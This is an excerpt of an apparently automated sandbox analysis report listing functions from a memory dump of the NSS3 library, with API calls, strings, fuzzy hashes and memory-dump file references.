Opcode Fuzzy Hash: f3831f22d085552abfa969a08ecd37c2b6aba707050c395cefd909e3f760d09a
Instruction Fuzzy Hash: 62D17FBAE016059FDB14CF99DA80AAEB7F5EF4830CF258029D915B7711EB35E806CB50

Function 6CEEDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002,00000000,?,6CEC7FFA,00000002), ref: 6CEEDE33

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CEED000: PORT_ZAlloc_Util.NSS3(00000108,?,6CEEDE74,6CEC7FFA,00000002,?,?,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002), ref: 6CEED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002,00000000,?,6CEC7FFA,00000002), ref: 6CEEDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CEEDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEEE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEEE121
PK11_FreeSymKey.NSS3(?), ref: 6CEEE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CEEE195
PR_GetCurrentThread.NSS3 ref: 6CEEE1FC

Part of subcall function 6CEE2460: PR_SetError.NSS3(FFFFE005,00000000,6CF87379,00000002,?), ref: 6CEE2493

Strings

key, xrefs: 6CEEE046
early application data, xrefs: 6CEEDFC9
application data, xrefs: 6CEEDFE0
handshake data, xrefs: 6CEEDFF7

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 27012434578c5deca7ef39429982f3b75d169de13dafa15446cb799c48951d9b
Instruction ID: 5e3294657da2b519b69c3b3b54d53ffd704c086060d66e47b02d6431f9e0e54a
Opcode Fuzzy Hash: 27012434578c5deca7ef39429982f3b75d169de13dafa15446cb799c48951d9b
Instruction Fuzzy Hash: 85C11375B006059BDB04CF69CC80BAAB7B5FF4D348F244139E9099BB91E331EA55CBA1

Function 6CDDECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CDDEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDF483
database corruption, xrefs: 6CDDF48D
%s at line %d of [%.10s], xrefs: 6CDDF492

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: cf745d471dd2ffa6ef2bd917934db2616e0e89ebbc91e88ab123d6d836f69006
Instruction ID: 9acbb4dcf16085298dba94dabf07caf54263b0753e0a200fb4e18c1204a14914
Opcode Fuzzy Hash: cf745d471dd2ffa6ef2bd917934db2616e0e89ebbc91e88ab123d6d836f69006
Instruction Fuzzy Hash: 2A62E271E04245CFDB14CF69C880BAABBB1BF49318F1A419DD8455BBA2D735F886CB90

Function 6CE7FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CE7FD06

Part of subcall function 6CE7F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CE7F696
Part of subcall function 6CE7F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CE7F789
Part of subcall function 6CE7F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CE7F796
Part of subcall function 6CE7F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CE7F79F
Part of subcall function 6CE7F670: SECITEM_DupItem_Util.NSS3 ref: 6CE7F7F0

Part of subcall function 6CEA3440: PK11_GetAllTokens.NSS3 ref: 6CEA3481
Part of subcall function 6CEA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEA34A3
Part of subcall function 6CEA3440: TlsGetValue.KERNEL32 ref: 6CEA352E
Part of subcall function 6CEA3440: EnterCriticalSection.KERNEL32(?), ref: 6CEA3542
Part of subcall function 6CEA3440: PR_Unlock.NSS3(?), ref: 6CEA355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CE7FDAD

Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE59003,?), ref: 6CEAFD91
Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(A4686CEB,?), ref: 6CEAFDA2
Part of subcall function 6CEAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEB,?,?), ref: 6CEAFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE7FE00

Part of subcall function 6CEAFD80: free.MOZGLUE(00000000,?,?), ref: 6CEAFDD1

Part of subcall function 6CE9E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CE7FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CE7FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE7FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE7FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CE7FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE7FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CE80007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CE80029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE80044

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 036cf23487d4ae9dc5eb8b19179c2c6e30de1fb0a4fe72a44c205364a369c108
Instruction ID: 585a3b43306b91a86069a39771ebfc2e009dd2a7d3de9f98d096f9c38dce6cb3
Opcode Fuzzy Hash: 036cf23487d4ae9dc5eb8b19179c2c6e30de1fb0a4fe72a44c205364a369c108
Instruction Fuzzy Hash: 7FB1D471604301AFE314CF29CC41A6AB7F5FF88318F248A2DE95987B41EB74E945CBA1

Function 6CE77D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE77DDC

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE77DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE77F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE77F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE77F98
PK11_FreeSymKey.NSS3(?), ref: 6CE77FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE77FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE78000

Part of subcall function 6CE99430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE77F0C,?,00000000,00000000,00000000,?), ref: 6CE9943B
Part of subcall function 6CE99430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CE9946B
Part of subcall function 6CE99430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CE99546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE78110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE7811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE7822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE7823C

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: a895c9d51ea3b287792214044a0a103cd5fbcba232fe220d05db47e7d695a055
Instruction ID: 153f385d545bdd642c1c1618a5e98b15ae856159044815e939d051a5b7c4c99a
Opcode Fuzzy Hash: a895c9d51ea3b287792214044a0a103cd5fbcba232fe220d05db47e7d695a055
Instruction Fuzzy Hash: 50C16BB1D002599FEB71CF14CC44BEAB7B8EB15348F1085EAE909B6641E7319E85CFA1

Function 6CE80EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CE80F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE80FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CE81006
PK11_FreeSymKey.NSS3(?), ref: 6CE8101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE81033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE8103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CE81048
memcpy.VCRUNTIME140(?,?,?), ref: 6CE8108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CE810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CE8112E

Part of subcall function 6CE81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CE808C4,?,?), ref: 6CE815B8
Part of subcall function 6CE81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CE808C4,?,?), ref: 6CE815C1
Part of subcall function 6CE81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8162E
Part of subcall function 6CE81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE81637

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 945937c30c27299e4826ef4a8fee286c7c6102f1509ae689ac06485511abcb1c
Instruction ID: ee95460b732dcdeda674b5ecb99ccf2f091e856f5444a76199bed9fb154f7a26
Opcode Fuzzy Hash: 945937c30c27299e4826ef4a8fee286c7c6102f1509ae689ac06485511abcb1c
Instruction Fuzzy Hash: 3671BEB1E012058FDB00CFA5DC85AAAB7B1BF4831CF24862DE92D9BB11E771D945CB91

Function 6CEA1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEA1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEA2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEA228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEA23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA241C

Strings

model, xrefs: 6CEA23CB, 6CEA23EC
token, xrefs: 6CEA1F2C
manufacturer, xrefs: 6CEA2179
serial, xrefs: 6CEA22A2

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 148ec224c97f453c62b7c83c734db7289d39e5254ad1426fb6216a7d16a1e360
Instruction ID: 79cc6aca0e35137016967467bba8ea43eb640b374c7e36260348f0c70a70ef56
Opcode Fuzzy Hash: 148ec224c97f453c62b7c83c734db7289d39e5254ad1426fb6216a7d16a1e360
Instruction Fuzzy Hash: DE02E062D0C7C85EF73186B2C44D3D77AF09B5632CF2816ADCA9E5AB83C3A8554A8351

Function 6CEA6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C3F

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C60
PR_ExplodeTime.NSS3(00000000,6CE51C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C94

Strings

gfff, xrefs: 6CEA6CF5
gfff, xrefs: 6CEA6D9C
gfff, xrefs: 6CEA6CFD
gfff, xrefs: 6CEA6D30
gfff, xrefs: 6CEA6D66

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 4f132c6fac2031c5df431df3db1386cad0a2d39d08206d0316178c4206d18f1b
Instruction ID: 61a6e16ab44259ae0d5f09a99504153596908daf6c4d2cc3f3f95a9a31ebbc7a
Opcode Fuzzy Hash: 4f132c6fac2031c5df431df3db1386cad0a2d39d08206d0316178c4206d18f1b
Instruction Fuzzy Hash: DB514B72B015494FC708CDADDC526DAB7EA9BA5310F48C23AE441DF781D638E907C751

Function 6CF20F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF21027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF21353

Strings

zeroblob(%d), xrefs: 6CF21223
'%.*q', xrefs: 6CF21217, 6CF21292
NULL, xrefs: 6CF2119E
%02x, xrefs: 6CF212F6
$, xrefs: 6CF212A0
-- , xrefs: 6CF20FF5
%lld, xrefs: 6CF2114B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 250e005a28ed34b2a4486acf07abd181729414045119b695802923b7501c91f9
Instruction ID: c44fe1d973f415f5cc5bc02b7b40eaa024c7da7cf70a36dc92272e41624eb357
Opcode Fuzzy Hash: 250e005a28ed34b2a4486acf07abd181729414045119b695802923b7501c91f9
Instruction Fuzzy Hash: 3BE1C071A083809FD710CF94C480A6BBBF5AF85348F15892DF98587B61D77AEC45CB46

Function 6CF28FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF28FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF29118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF2915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF29209

Strings

3333, xrefs: 6CF2925E
UUUU, xrefs: 6CF29255

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 6a2ce4fd62753a4eaf7c9b6fc591404954b2f88386e878c534cf8bbb6e7f1d4a
Instruction ID: a53b5eae5a3c014a2453a63ce69136fae9c83ba6ba4c86c25b9040c910f746a4
Opcode Fuzzy Hash: 6a2ce4fd62753a4eaf7c9b6fc591404954b2f88386e878c534cf8bbb6e7f1d4a
Instruction Fuzzy Hash: BFA19172E001199BDB04CBA9CC91B9EB7B5BF48324F094139D915A7791EB3AED01CBE1

Function 6CDE0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CDE103E
EnterCriticalSection.KERNEL32(?), ref: 6CDE1139
LeaveCriticalSection.KERNEL32(?), ref: 6CDE1190
sqlite3_free.NSS3(00000000), ref: 6CDE1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CDE126E
sqlite3_free.NSS3(?), ref: 6CDE127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CDE1267
winAccess, xrefs: 6CDE129B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: adcda9881fff8dfcc5f134416fed87c26f65433067b2e0c5e8d631f4c6dc2b07
Instruction ID: 3d6730a5d28ef8fc9085c22270669683472ee0166d4240a13e46bcaf1b5a39b0
Opcode Fuzzy Hash: adcda9881fff8dfcc5f134416fed87c26f65433067b2e0c5e8d631f4c6dc2b07
Instruction Fuzzy Hash: 0C715932F05201DBEB449F65EC95B6F77B5FF8A364F14422AE82187AA1DB30D804C792

Function 6CDEAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?), ref: 6CDEB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB0A2
CloseHandle.KERNEL32(?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?,?,?), ref: 6CDEB100
sqlite3_free.NSS3(?,?,00000002,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?), ref: 6CDEB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB12D

Part of subcall function 6CDD9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CDEC6FD,?,?,?,?,6CE3F965,00000000), ref: 6CDD9F0E
Part of subcall function 6CDD9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE3F965,00000000), ref: 6CDD9F5D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 075e1b0656cbc6bb3f7c9a5791404c036f85ba2ec440469872315acd00a52af4
Instruction ID: 3c6a2e48616d37d52c03b8499f1b3bcd56ead2f1bb507518e1602e4408a5de1d
